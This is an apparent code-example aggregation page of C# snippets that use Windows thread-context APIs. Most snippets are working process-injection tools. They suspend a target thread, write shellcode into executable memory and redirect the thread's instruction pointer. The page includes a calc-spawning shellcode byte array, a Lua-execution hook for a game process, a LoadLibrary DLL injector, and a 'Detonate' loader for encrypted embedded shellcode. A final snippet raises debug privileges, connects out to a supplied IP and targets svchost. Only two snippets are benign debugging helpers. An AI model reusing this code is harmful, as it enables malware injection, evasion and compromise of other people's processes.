Ejemplo n.º 1
0
        private static bool ThreadContextCheck()
        {
            CONTEXT64 ctx = new CONTEXT64();

            ctx.ContextFlags = CONTEXT_FLAGS.CONTEXT_DEBUG_REGISTERS;
            if (GetThreadContext(GetCurrentThread(), ref ctx))
            {
                if (ctx.Dr0 != 0 || ctx.Dr1 != 0 || ctx.Dr2 != 0 || ctx.Dr3 != 0)
                {
                    return(true);
                }
            }
            return(false);
        }
Ejemplo n.º 2
0
 static extern bool SetThreadContext(IntPtr hThread, ref CONTEXT64 lpContext);
Ejemplo n.º 3
0
    public static int Main2(string[] args)
    {
        // Get target process by name
        if (args.Length == 0)
        {
            Console.WriteLine("Please enter a process name"); System.Environment.Exit(1);
        }
        Process targetProcess = Process.GetProcessesByName(args[0])[0];

        Console.WriteLine("ProcessId: " + targetProcess.Id);

        // Open and Suspend first thread
        ProcessThread pT = targetProcess.Threads[0];

        for (int i = 0; i < targetProcess.Threads.Count; i++)
        {
            if (pT.TotalProcessorTime < targetProcess.Threads[i].TotalProcessorTime)
            {
                ;
            }
        }

        Console.WriteLine("ThreadId: " + pT.Id);
        IntPtr pOpenThread = OpenThread(ThreadAccess.THREAD_HIJACK, false, (uint)pT.Id);

        SuspendThread(pOpenThread);

        // Get thread context
        CONTEXT64 tContext = new CONTEXT64();

        tContext.ContextFlags = CONTEXT_FLAGS.CONTEXT_FULL;
        if (GetThreadContext(pOpenThread, ref tContext))
        {
            Console.WriteLine("CurrentEip    : {0}", tContext.Rip.ToString("X12"));
        }

        // WinExec shellcode from: https://github.com/peterferrie/win-exec-calc-shellcode
        // Compiled with:
        // nasm w64-exec-calc-shellcode.asm -DSTACK_ALIGN=TRUE -DFUNC=TRUE -DCLEAN=TRUE -o w64-exec-calc-shellcode.bin
        //byte[] payload = new byte[112] {
        //	0x50,0x51,0x52,0x53,0x56,0x57,0x55,0x54,0x58,0x66,0x83,0xe4,0xf0,0x50,0x6a,0x60,0x5a,0x68,0x63,0x61,0x6c,0x63,0x54,0x59,0x48,0x29,0xd4,0x65,0x48,0x8b,0x32,0x48,0x8b,0x76,0x18,0x48,0x8b,0x76,0x10,0x48,0xad,0x48,0x8b,0x30,0x48,0x8b,0x7e,0x30,0x03,0x57,0x3c,0x8b,0x5c,0x17,0x28,0x8b,0x74,0x1f,0x20,0x48,0x01,0xfe,0x8b,0x54,0x1f,0x24,0x0f,0xb7,0x2c,0x17,0x8d,0x52,0x02,0xad,0x81,0x3c,0x07,0x57,0x69,0x6e,0x45,0x75,0xef,0x8b,0x74,0x1f,0x1c,0x48,0x01,0xfe,0x8b,0x34,0xae,0x48,0x01,0xf7,0x99,0xff,0xd7,0x48,0x83,0xc4,0x68,0x5c,0x5d,0x5f,0x5e,0x5b,0x5a,0x59,0x58,0xc3
        //};

        //0x18
        //0x28
        byte[] payload =
        {
            0x50, //push rax
            0x51, //push rcx
            0x52, //push rdx
            0x53, //push rbx
            0x54,
            0x55,
            0x56,
            0x57,
            0x41, 0x50,                                                                        //push r8
            0x41, 0x51,                                                                        //push r9
            0x41, 0x52,                                                                        //push r10
            0x41, 0x53,                                                                        //push r11
            0x41, 0x54,                                                                        //push r12
            0x41, 0x55,                                                                        //push r13
            0x41, 0x56,                                                                        //push r14
            0x41, 0x57,                                                                        //push r15
            0x55,                                                                              //push rbp
            0x48, 0x8B, 0xEC,                                                                  //mob rbp,rsp
            0x48, 0xB9, 0xEF, 0xBE, 0xAD, 0xDE, 0x00, 0x00, 0x00, 0x00,                        //mov rcx, &lua_buffer
            0x48, 0x8B, 0xD1,                                                                  //mov rdx, rcx
            0x4D, 0x31, 0xC0,                                                                  //xor r8,r8 -- r8 is luaIsTainted
            0x49, 0xBF, 0xEF, 0xBE, 0xAD, 0xDE, 0x00, 0x00, 0x00, 0x00,                        //mov r15, FrameScript_Execute
            0x41, 0xFF, 0xD7,                                                                  //call r15

            0x48, 0x8B, 0xE5,                                                                  //mov rsp, rbp
            0x5D,                                                                              //pop rbp
            0x41, 0x5F,                                                                        //pop r15
            0x41, 0x5E,                                                                        //pop r14
            0x41, 0x5D,                                                                        //pop r13
            0x41, 0x5C,                                                                        //pop r12
            0x41, 0x5B,                                                                        //pop r11
            0x41, 0x5A,                                                                        //pop r10
            0x41, 0x59,                                                                        //pop r9
            0x41, 0x58,                                                                        //pop r8
            0x5F,                                                                              //pop rdi
            0x5E,                                                                              //pop rsi
            0x5D,                                                                              //pop rbp
            0x5C,                                                                              //pop rsp
            0x5B,                                                                              //pop rbx
            0x5A,                                                                              //pop rdx
            0x59,                                                                              //pop rcx
            0x58,                                                                              //pop rax
            0xFF, 0x25, 0x00, 0x00, 0x00, 0x00, 0xEF, 0xBE, 0xAD, 0xDE, 0x00, 0x00, 0x00, 0x00 //jmp RIP
        };

        // OpenProcess to allocate memory
        IntPtr procHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, targetProcess.Id);


        string luaScript        = "print(\"ferib is awesome\")";
        IntPtr allocMemAddress2 = VirtualAllocEx(procHandle, IntPtr.Zero, (uint)(luaScript.Length), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

        long luacall = (long)targetProcess.MainModule.BaseAddress + 0x522280;

        byte[] luacalls = BitConverter.GetBytes(luacall);
        byte[] luacodes = BitConverter.GetBytes((long)allocMemAddress2);
        byte[] rips     = BitConverter.GetBytes(tContext.Rip);

        for (int i = 0; i < 8; i++)
        {
            payload[0x2E + i] = luacalls[i];
            payload[0x1E + i] = luacodes[i];
            payload[payload.Length - 0x08 + i] = rips[i];
        }


        // Allocate memory for shellcode within process
        IntPtr allocMemAddress = VirtualAllocEx(procHandle, IntPtr.Zero, (uint)((payload.Length + 1) * Marshal.SizeOf(typeof(char))), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);


        // Write shellcode within process
        UIntPtr bytesWritten;
        bool    resp1 = WriteProcessMemory(procHandle, allocMemAddress, payload, (uint)((payload.Length + 1) * Marshal.SizeOf(typeof(char))), out bytesWritten);

        WriteProcessMemory(procHandle, allocMemAddress2, Encoding.UTF8.GetBytes(luaScript), (uint)(luaScript.Length), out bytesWritten);

        // Read memory to view shellcode
        int bytesRead = 0;

        byte[] buffer = new byte[payload.Length];
        ReadProcessMemory(procHandle, allocMemAddress, buffer, buffer.Length, ref bytesRead);

        // Set context EIP to location of shellcode
        tContext.Rip = (ulong)allocMemAddress.ToInt64();

        // Apply new context to suspended thread
        if (!SetThreadContext(pOpenThread, ref tContext))
        {
            Console.WriteLine("Error setting context");
        }
        if (GetThreadContext(pOpenThread, ref tContext))
        {
            Console.WriteLine("ShellcodeAddress: " + allocMemAddress.ToString("X"));
            Console.WriteLine("NewEip          : {0}", tContext.Rip.ToString("X"));
        }
        // Resume the thread, redirecting execution to shellcode, then back to original process
        Console.WriteLine("Redirecting execution!");
        ResumeThread(pOpenThread);

        return(0);
    }
Ejemplo n.º 4
0
        public void Run(int pid)
        {
            Process targetProcess = Process.GetProcessById(pid);

            // Open and Suspend first thread
            ProcessThread pT = targetProcess.Threads[0];

            Logger.WriteLine("ThreadId: " + targetProcess.Threads[0].Id);
            IntPtr pOpenThread = OpenThread(ThreadAccess.THREAD_HIJACK, false, (uint)pT.Id);

            SuspendThread(pOpenThread);

            // Get thread context
            CONTEXT64 tContext = new CONTEXT64();

            tContext.ContextFlags = CONTEXT_FLAGS.CONTEXT_FULL;
            if (GetThreadContext(pOpenThread, ref tContext))
            {
                Logger.WriteLine("CurrentEip    :" + tContext.Rip);
            }

            byte[] payload = new byte[112] {
                0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x54, 0x58, 0x66, 0x83, 0xe4, 0xf0, 0x50, 0x6a, 0x60, 0x5a, 0x68, 0x63, 0x61, 0x6c, 0x63, 0x54, 0x59, 0x48, 0x29, 0xd4, 0x65, 0x48, 0x8b, 0x32, 0x48, 0x8b, 0x76, 0x18, 0x48, 0x8b, 0x76, 0x10, 0x48, 0xad, 0x48, 0x8b, 0x30, 0x48, 0x8b, 0x7e, 0x30, 0x03, 0x57, 0x3c, 0x8b, 0x5c, 0x17, 0x28, 0x8b, 0x74, 0x1f, 0x20, 0x48, 0x01, 0xfe, 0x8b, 0x54, 0x1f, 0x24, 0x0f, 0xb7, 0x2c, 0x17, 0x8d, 0x52, 0x02, 0xad, 0x81, 0x3c, 0x07, 0x57, 0x69, 0x6e, 0x45, 0x75, 0xef, 0x8b, 0x74, 0x1f, 0x1c, 0x48, 0x01, 0xfe, 0x8b, 0x34, 0xae, 0x48, 0x01, 0xf7, 0x99, 0xff, 0xd7, 0x48, 0x83, 0xc4, 0x68, 0x5c, 0x5d, 0x5f, 0x5e, 0x5b, 0x5a, 0x59, 0x58, 0xc3
            };
            // Once shellcode has executed return to thread original EIP address (mov to rax then jmp to address)
            byte[] mov_rax = new byte[2] {
                0x48, 0xb8
            };
            byte[] jmp_address = BitConverter.GetBytes(tContext.Rip);
            byte[] jmp_rax     = new byte[2] {
                0xff, 0xe0
            };

            // Build shellcode
            byte[] shellcode = new byte[payload.Length + mov_rax.Length + jmp_address.Length + jmp_rax.Length];
            payload.CopyTo(shellcode, 0);
            mov_rax.CopyTo(shellcode, payload.Length);
            jmp_address.CopyTo(shellcode, payload.Length + mov_rax.Length);
            jmp_rax.CopyTo(shellcode, payload.Length + mov_rax.Length + jmp_address.Length);

            // OpenProcess to allocate memory
            IntPtr procHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, targetProcess.Id);

            // Allocate memory for shellcode within process
            IntPtr allocMemAddress = VirtualAllocEx(procHandle, IntPtr.Zero, (uint)((shellcode.Length + 1) * Marshal.SizeOf(typeof(char))), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

            // Write shellcode within process
            UIntPtr bytesWritten;
            bool    resp1 = WriteProcessMemory(procHandle, allocMemAddress, shellcode, (uint)((shellcode.Length + 1) * Marshal.SizeOf(typeof(char))), out bytesWritten);

            // Read memory to view shellcode
            int bytesRead = 0;

            byte[] buffer = new byte[shellcode.Length];
            ReadProcessMemory(procHandle, allocMemAddress, buffer, buffer.Length, ref bytesRead);
            Logger.WriteLine("Data in memory: " + System.Text.Encoding.UTF8.GetString(buffer));

            // Set context EIP to location of shellcode
            tContext.Rip = (ulong)allocMemAddress.ToInt64();

            // Apply new context to suspended thread
            if (!SetThreadContext(pOpenThread, ref tContext))
            {
                Logger.WriteLine("Error setting context");
            }
            if (GetThreadContext(pOpenThread, ref tContext))
            {
                Logger.WriteLine("ShellcodeAddress: " + allocMemAddress);
                Logger.WriteLine("NewEip         : " + tContext.Rip);
            }
            // Resume the thread, redirecting execution to shellcode, then back to original process
            Logger.WriteLine("Redirecting execution!");
            ResumeThread(pOpenThread);
        }
Ejemplo n.º 5
0
 public static extern bool GetThreadContext(ulong hThread, ref CONTEXT64 lpContext);
Ejemplo n.º 6
0
        static void Detonate()
        {
            bool   retValue;
            string binPath            = GetValidExecutable();
            PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION();
            STARTUPINFO         sInfo = new STARTUPINFO();
            SECURITY_ATTRIBUTES pSec  = new SECURITY_ATTRIBUTES();
            SECURITY_ATTRIBUTES tSec  = new SECURITY_ATTRIBUTES();

            pSec.nLength = Marshal.SizeOf(pSec);
            tSec.nLength = Marshal.SizeOf(tSec);
            const uint CREATE_SUSPENDED = 0x00000004;
            const uint CREATE_NO_WINDOW = 0x08000000;

            //MessageBox.Show("binPath: "  + binPath);
            retValue = CreateProcess(
                binPath,
                null,
                ref pSec,
                ref tSec,
                false,
                CREATE_NO_WINDOW | CREATE_SUSPENDED,
                IntPtr.Zero,
                null,
                ref sInfo,
                out pInfo);

            // You NEED to add as a resource the encyrpted shellcode.
            // You can do this by going to Project -> Properties -> Resources
            // Then add a new file, then select the encrypted.bin (you'll need to
            // ensure that all files are viewable to add, not just text).
            // The, on the right side in solution explorer, click the encrypted.bin
            // file and ensure the build action is set to "Embedded Resource".
            uint   rawDataLength = (uint)Runner.Properties.Resources.encrypted.Length;
            IntPtr hProc         = OpenProcess(ProcessAccessFlags.All, false, pInfo.dwProcessId);
            //MessageBox.Show("Opened process.");
            IntPtr pRemoteThread = VirtualAllocEx(
                hProc,
                IntPtr.Zero,
                rawDataLength,
                AllocationType.Commit | AllocationType.Reserve,
                MemoryProtection.ReadWrite);
            //MessageBox.Show("Allocated space");
            Random rnd               = new Random();
            int    SIZE_MOD          = rnd.Next(100, 501);
            int    totalBytesWritten = 0;

            //MessageBox.Show("Beginning deryption");

            // All at once
            byte[] decBytes     = GetAllDecryptedBytes();
            IntPtr bytesWritten = IntPtr.Zero;

            WriteProcessMemory(hProc, pRemoteThread, decBytes, decBytes.Length, out bytesWritten);


            IntPtr kernel32Addr    = LoadLibrary("kernel32.dll");
            IntPtr loadLibraryAddr = GetProcAddress(kernel32Addr, "LoadLibraryA");

            if (loadLibraryAddr == null)
            {
                Console.WriteLine("Couldn't get proc address for kern32 loadlibraryaddr");
                Environment.Exit(1);
            }
            //MessageBox.Show("Kernel 32 Addr loaded");
            uint oldProtect  = 0;
            bool reportected = VirtualProtectEx(hProc, pRemoteThread, rawDataLength, MemoryProtection.ExecuteRead, out oldProtect);

            if (reportected)
            {
                //MessageBox.Show("Was able to reportect");
                ThreadStartDelegate funcdelegate = (ThreadStartDelegate)Marshal.GetDelegateForFunctionPointer(loadLibraryAddr, typeof(ThreadStartDelegate));
                IntPtr hThread = CreateRemoteThread(hProc, IntPtr.Zero, 0, funcdelegate, IntPtr.Zero, 0x00000004, IntPtr.Zero);
                if (hThread == null)
                {
                    Console.WriteLine("Couldn't create remote thread");
                    Environment.Exit(1);
                }
                //MessageBox.Show("Created remote thread");
                CONTEXT64 ctx = new CONTEXT64();
                ctx.ContextFlags = CONTEXT_FLAGS.CONTEXT_CONTROL;
                GetThreadContext(hThread, ref ctx);
                ctx.Rip = (UInt64)pRemoteThread;
                SetThreadContext(hThread, ref ctx);
                ResumeThread(hThread);
                CloseHandle(hThread);
                //MessageBox.Show("done");
            }
        }
Ejemplo n.º 7
0
        /// <summary>
        /// Gets the register values of a thread and populates the CONTEXT structs. Should only be used on a suspended thread, results on an active thread are unreliable.
        /// </summary>
        /// <returns>Returns an ErcResult, the return value can be ignored, the object should only be checked for error values</returns>
        public ErcResult <string> Get_Context()
        {
            ErcResult <string> result = new ErcResult <string>(ThreadCore);

            if (X64 == MachineType.x64)
            {
                Context64 = new CONTEXT64();
                Context64.ContextFlags = CONTEXT_FLAGS.CONTEXT_ALL;
                try
                {
                    bool returnVar = ErcCore.GetThreadContext64(ThreadHandle, ref Context64);
                    if (returnVar == false)
                    {
                        throw new ERCException("Win32 Exception encountered when attempting to get thread context: " +
                                               new Win32Exception(Marshal.GetLastWin32Error()).Message);
                    }
                }
                catch (ERCException e)
                {
                    result.Error = e;
                    result.LogEvent();
                    return(result);
                }
                catch (Exception e)
                {
                    result.Error = e;
                    result.LogEvent(e);
                }
            }
            else if (Environment.Is64BitOperatingSystem == true && X64 != MachineType.x64)
            {
                Context32 = new CONTEXT32();
                Context32.ContextFlags = CONTEXT_FLAGS.CONTEXT_ALL;
                try
                {
                    bool returnVar = ErcCore.Wow64GetThreadContext(ThreadHandle, ref Context32);
                    if (returnVar == false)
                    {
                        throw new ERCException("Win32 Exception encountered when attempting to get thread context: " +
                                               new Win32Exception(Marshal.GetLastWin32Error()).Message);
                    }
                }
                catch (ERCException e)
                {
                    result.Error = e;
                    result.LogEvent();
                    return(result);
                }
                catch (Exception e)
                {
                    result.Error = e;
                    result.LogEvent(e);
                }
            }
            else
            {
                Context32 = new CONTEXT32();
                Context32.ContextFlags = CONTEXT_FLAGS.CONTEXT_ALL;
                try
                {
                    bool returnVar = ErcCore.GetThreadContext32(ThreadHandle, ref Context32);
                    if (returnVar == false)
                    {
                        throw new ERCException("Win32 Exception encountered when attempting to get thread context: " +
                                               new Win32Exception(Marshal.GetLastWin32Error()).Message);
                    }
                }
                catch (ERCException e)
                {
                    result.Error = e;
                    result.LogEvent();
                    return(result);
                }
                catch (Exception e)
                {
                    result.Error = e;
                    result.LogEvent(e);
                }
            }
            return(result);
        }
Ejemplo n.º 8
0
    public static int Main(string[] args)
    {
        // Get target process by name
        if (args.Length == 0)
        {
            Console.WriteLine("Please enter a process name"); System.Environment.Exit(1);
        }
        Process targetProcess = Process.GetProcessesByName(args[0])[0];

        Console.WriteLine("ProcessId: " + targetProcess.Id);

        // Open and Suspend first thread
        ProcessThread pT = targetProcess.Threads[0];

        Console.WriteLine("ThreadId: " + targetProcess.Threads[0].Id);
        IntPtr pOpenThread = OpenThread(ThreadAccess.THREAD_HIJACK, false, (uint)pT.Id);

        SuspendThread(pOpenThread);

        // Get thread context
        CONTEXT64 tContext = new CONTEXT64();

        tContext.ContextFlags = CONTEXT_FLAGS.CONTEXT_FULL;
        if (GetThreadContext(pOpenThread, ref tContext))
        {
            Console.WriteLine("CurrentEip    : {0}", tContext.Rip);
        }

        // WinExec shellcode from: https://github.com/peterferrie/win-exec-calc-shellcode
        // Compiled with:
        // nasm w64-exec-calc-shellcode.asm -DSTACK_ALIGN=TRUE -DFUNC=TRUE -DCLEAN=TRUE -o w64-exec-calc-shellcode.bin
        byte[] payload = new byte[112] {
            0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x54, 0x58, 0x66, 0x83, 0xe4, 0xf0, 0x50, 0x6a, 0x60, 0x5a, 0x68, 0x63, 0x61, 0x6c, 0x63, 0x54, 0x59, 0x48, 0x29, 0xd4, 0x65, 0x48, 0x8b, 0x32, 0x48, 0x8b, 0x76, 0x18, 0x48, 0x8b, 0x76, 0x10, 0x48, 0xad, 0x48, 0x8b, 0x30, 0x48, 0x8b, 0x7e, 0x30, 0x03, 0x57, 0x3c, 0x8b, 0x5c, 0x17, 0x28, 0x8b, 0x74, 0x1f, 0x20, 0x48, 0x01, 0xfe, 0x8b, 0x54, 0x1f, 0x24, 0x0f, 0xb7, 0x2c, 0x17, 0x8d, 0x52, 0x02, 0xad, 0x81, 0x3c, 0x07, 0x57, 0x69, 0x6e, 0x45, 0x75, 0xef, 0x8b, 0x74, 0x1f, 0x1c, 0x48, 0x01, 0xfe, 0x8b, 0x34, 0xae, 0x48, 0x01, 0xf7, 0x99, 0xff, 0xd7, 0x48, 0x83, 0xc4, 0x68, 0x5c, 0x5d, 0x5f, 0x5e, 0x5b, 0x5a, 0x59, 0x58, 0xc3
        };

        // Once shellcode has executed return to thread original EIP address (mov to rax then jmp to address)
        byte[] mov_rax = new byte[2] {
            0x48, 0xb8
        };
        byte[] jmp_address = BitConverter.GetBytes(tContext.Rip);
        byte[] jmp_rax     = new byte[2] {
            0xff, 0xe0
        };

        // Build shellcode
        byte[] shellcode = new byte[payload.Length + mov_rax.Length + jmp_address.Length + jmp_rax.Length];
        payload.CopyTo(shellcode, 0);
        mov_rax.CopyTo(shellcode, payload.Length);
        jmp_address.CopyTo(shellcode, payload.Length + mov_rax.Length);
        jmp_rax.CopyTo(shellcode, payload.Length + mov_rax.Length + jmp_address.Length);

        // OpenProcess to allocate memory
        IntPtr procHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, targetProcess.Id);

        // Allocate memory for shellcode within process
        IntPtr allocMemAddress = VirtualAllocEx(procHandle, IntPtr.Zero, (uint)((shellcode.Length + 1) * Marshal.SizeOf(typeof(char))), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

        // Write shellcode within process
        UIntPtr bytesWritten;
        bool    resp1 = WriteProcessMemory(procHandle, allocMemAddress, shellcode, (uint)((shellcode.Length + 1) * Marshal.SizeOf(typeof(char))), out bytesWritten);

        // Read memory to view shellcode
        int bytesRead = 0;

        byte[] buffer = new byte[shellcode.Length];
        ReadProcessMemory(procHandle, allocMemAddress, buffer, buffer.Length, ref bytesRead);
        Console.WriteLine("Data in memory: " + System.Text.Encoding.UTF8.GetString(buffer));

        // Set context EIP to location of shellcode
        tContext.Rip = (ulong)allocMemAddress.ToInt64();

        // Apply new context to suspended thread
        if (!SetThreadContext(pOpenThread, ref tContext))
        {
            Console.WriteLine("Error setting context");
        }
        if (GetThreadContext(pOpenThread, ref tContext))
        {
            Console.WriteLine("ShellcodeAddress: " + allocMemAddress);
            Console.WriteLine("NewEip          : {0}", tContext.Rip);
        }
        // Resume the thread, redirecting execution to shellcode, then back to original process
        Console.WriteLine("Redirecting execution!");
        ResumeThread(pOpenThread);

        return(0);
    }
Ejemplo n.º 9
0
        public static int Inject64(IntPtr hProcess, IntPtr hThread, string dllName)
        {
            // Get thread context
            var tContext = new CONTEXT64 {
                ContextFlags = CONTEXT_FLAGS.CONTEXT_FULL
            };

            // Get current thread context, from here we can get where we're currently executing code (RIP)
            if (NativeMethods.GetThreadContext(hThread, ref tContext))
            {
                Console.WriteLine($"CurrentEip   : 0x{tContext.Rip:X}");
            }

            // Create an array containing our shellcode
            var shellCode = new byte[]
            {
                // Push all registers to save state
                0x50, 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57, 0x9C,

                // Save rsp and setup stack for function call
                0x53,                   //push   rbx
                0x48, 0x89, 0xe3,       //mov    rbx,rsp
                0x48, 0x83, 0xec, 0x20, //sub    rsp,0x20
                0x66, 0x83, 0xe4, 0xc0, //and    sp,0xffc0

                // Call LoadLibraryA
                0x48, 0xb9, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, //movabs rcx,0xCCCCCCCCCCCCCCCC | Pointer to our dll we want to "inject"
                0x48, 0xba, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, //movabs rdx,0xCCCCCCCCCCCCCCCC | Pointer to LoadLibraryA
                0xff, 0xd2,                                                 //call   rdx

                // Save return value so we can access it
                0x48, 0xba, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, //movabs rdx,0xCCCCCCCCCCCCCCCC | Pointer to where to save the return value
                0x48, 0x89, 0x02,                                           //mov    QWORD PTR [rdx],rax

                // Fix stack
                0x48, 0x89, 0xdc, //mov    rsp,rbx
                0x5b,             //pop    rbx

                // Pop all registers from the stack
                0x9D, 0x5F, 0x5E, 0x5D, 0x5C, 0x5B, 0x5A, 0x59, 0x58,

                // Jump back to the where the thread was when we hijacked it
                0x48, 0xbb, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, //movabs rbx,0xCCCCCCCCCCCCCCCC | Pointer to original thread RIP
                0xff, 0xe3,                                                 //jmp rbx

                // Return value from LoadLibraryA ends up here
                0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,
            };

            // Get the name of the dll we want to inject
            var dllString = Encoding.ASCII.GetBytes(dllName);

            // Add that dll name to the end of the payload so we can read it from within the payload
            var payload = new byte[shellCode.Length + dllString.Length];

            shellCode.CopyTo(payload, 0);
            dllString.CopyTo(payload, shellCode.Length);

            // Allocate memory for shellcode within process
            var allocMemAddress = NativeMethods.VirtualAllocEx(hProcess, IntPtr.Zero, ((payload.Length + 1) * Marshal.SizeOf(typeof(char))), AllocationType.MEM_COMMIT | AllocationType.MEM_RESERVE, MemoryProtection.PAGE_EXECUTE_READWRITE);
            var ownProcess      = new IntPtr(-1);

            // Try to get the Kernel32 module for our own process
            // This works as Windows has this dll based at the same location for all processes
            // See: http://www.nynaeve.net/?p=198
            if (!ProcessExtensions.GetModule(ownProcess, "Kernel32", out var k32))
            {
                throw new Win32Exception();
            }

            // Find where LoadLibraryA is in our process, it will be at the same location in the target process as well
            var functions      = ProcessExtensions.GetExportedFunctions(ownProcess, k32);
            var loadLibraryPtr = functions.First(x => x.Name == "LoadLibraryA").Address;

            // Calculate the other variables we need to insert into our shellcode
            var returnValuePtr = allocMemAddress + 81;
            var dllStringPtr   = allocMemAddress + 89;
            var returnToPtr    = tContext.Rip;

            // Insert all values we got into the right place in the shellcode, overwriting the existing 0xCC addresses
            BitConverter.GetBytes(dllStringPtr.ToInt64()).CopyTo(payload, 23);
            BitConverter.GetBytes(loadLibraryPtr.ToInt64()).CopyTo(payload, 33);
            BitConverter.GetBytes(returnValuePtr.ToInt64()).CopyTo(payload, 45);
            BitConverter.GetBytes(returnToPtr).CopyTo(payload, 71);

            // Write shellcode within process
            NativeMethods.WriteProcessMemory(hProcess, allocMemAddress, payload, (uint)((payload.Length + 1) * Marshal.SizeOf(typeof(char))), out UIntPtr bytesWritten);

            // Read memory to view shellcode
            var bytesRead = 0;
            var buffer    = new byte[payload.Length];

            NativeMethods.ReadProcessMemory(hProcess, allocMemAddress, buffer, buffer.Length, ref bytesRead);

            // Set context EIP to location of shellcode
            tContext.Rip = (ulong)allocMemAddress.ToInt64();

            // Apply new context to suspended thread
            if (!NativeMethods.SetThreadContext(hThread, ref tContext))
            {
                Console.WriteLine("Error setting context");
            }

            // Get thread context again, just to log it and be sure we modified it correctly
            // For debugging purposes only, not needed
            if (NativeMethods.GetThreadContext(hThread, ref tContext))
            {
                Console.WriteLine($"Payload Address : {allocMemAddress:X}");
                Console.WriteLine($"NewEip          : {tContext.Rip:X}");
            }

            //TODO: Read return value from LoadLibrary
            Console.WriteLine("TI: Done.");
            return(0);
        }
Ejemplo n.º 10
0
        static void Main(string[] args)
        {
            bool success;
            bool isX64 = Environment.Is64BitOperatingSystem;

            if (!isX64)
            {
                Console.WriteLine("32-bit operating systems are not supported yet");
                return;
            }

            if (isX64 && IntPtr.Size != 8)
            {
                Console.WriteLine("Please run in x64 mode");
                return;
            }

            const uint TOKEN_ADJUST_PRIVILEGES = 0x0020;
            IntPtr     tokenHandle;

            success = OpenProcessToken(Process.GetCurrentProcess().Handle, TOKEN_ADJUST_PRIVILEGES, out tokenHandle);
            if (!success)
            {
                Console.WriteLine("OpenProcessToken() failed - " + Marshal.GetLastWin32Error());
                return;
            }
            success = SetPrivilege(tokenHandle, "SeDebugPrivilege", true);
            CloseHandle(tokenHandle);
            if (!success)
            {
                Console.WriteLine("SetPrivilege() failed - " + Marshal.GetLastWin32Error());
                return;
            }


            const int bufferlen = 4096;
            UIntPtr   buflen    = new UIntPtr(bufferlen);
            int       err;

            ushort  wsaVersion = 0x0202;
            WSAData wsaData;

            err = WSAStartup(wsaVersion, out wsaData);
            if (err != 0)
            {
                Console.WriteLine("WSAStartup() failed - " + err);
                return;
            }

            IntPtr tcpSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

            if (tcpSocket == SOCKET_ERROR)
            {
                Console.WriteLine("socket() failed - " + WSAGetLastError());
                return;
            }

#if !DEBUG || true
            int timeout = 10000;
            setsockopt(tcpSocket, SOL_SOCKET, SO_RCVTIMEO, ref timeout, sizeof(int));
            setsockopt(tcpSocket, SOL_SOCKET, SO_SNDTIMEO, ref timeout, sizeof(int));
#endif

            string targetProcessName;
            string targetModuleName;
            if (args.Length > 1)
            {
                targetProcessName = args[1];
                if (args.Length > 2)
                {
                    targetModuleName = args[2].ToLower();
                }
                else
                {
                    targetModuleName = "ws2_32.dll";//null;
                }
            }
            else
            {
                targetProcessName = "svchost";
                targetModuleName  = "pcasvc.dll";
            }



            uint ipAddress;

            do
            {
                if (args.Length > 0)
                {
                    IPAddress ipAddr;
                    if (IPAddress.TryParse(args[0], out ipAddr))
                    {
                        byte[] ipBytes = ipAddr.GetAddressBytes();
                        if (ipBytes.Length == 4)
                        {
                            ipAddress = BitConverter.ToUInt32(ipBytes, 0);
                            break;
                        }
                    }
                }

                ipAddress = 0x100007F; //BitConverter.ToUInt32(new byte[] { 127,0,0,1 }, 0)
            } while (false);


            sockaddr_in connectionData = new sockaddr_in();
            connectionData.sin_family = AF_INET;
            connectionData.sin_addr   = ipAddress;
            connectionData.sin_port   = BitConverter.ToUInt16(new byte[] { 0xD1, 0xCC }, 0);


            err = connect(tcpSocket, ref connectionData, Marshal.SizeOf(connectionData));
            if (err != 0)
            {
                Console.WriteLine("connect() failed - " + WSAGetLastError());
                //closesocket(udpSocket);
                //WSACleanup();
                return;
            }

            uint targetProcessId = 0;

#if DEBUG && false
            targetProcessId = (uint)Process.GetProcessesByName("putty")[0].Id;
#else
            //if (targetModuleName != null)
            //{

            Process[] svchosts = Process.GetProcessesByName(targetProcessName);
            if (svchosts.Length == 0)
            {
                Console.WriteLine("No processes found");
                return;
            }

            foreach (Process process in svchosts)
            {
                bool found = false;

                try
                {
                    foreach (ProcessModule module in process.Modules)
                    {
                        if (module.ModuleName.ToLower() == /*"pcasvc.dll"*/ targetModuleName)
                        {
                            targetProcessId = (uint)process.Id;
                            found           = true;
                            break;
                        }
                    }
                }
                catch { continue; }

                if (found)
                {
                    break;
                }
            }


            //}
            //else
            //{
            //    Process[] processes = Process.GetProcessesByName(targetProcessName);
            //    if (processes.Length != 0)
            //        targetProcessId = (uint)processes[0].Id;
            //}
#endif


            if (targetProcessId == 0)
            {
                Console.WriteLine("No suitable process found");
                return;
            }

            IntPtr processHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE, false, targetProcessId);
            if (processHandle == IntPtr.Zero)
            {
                Console.WriteLine("OpenProcess() failed - " + Marshal.GetLastWin32Error());
                return;
            }


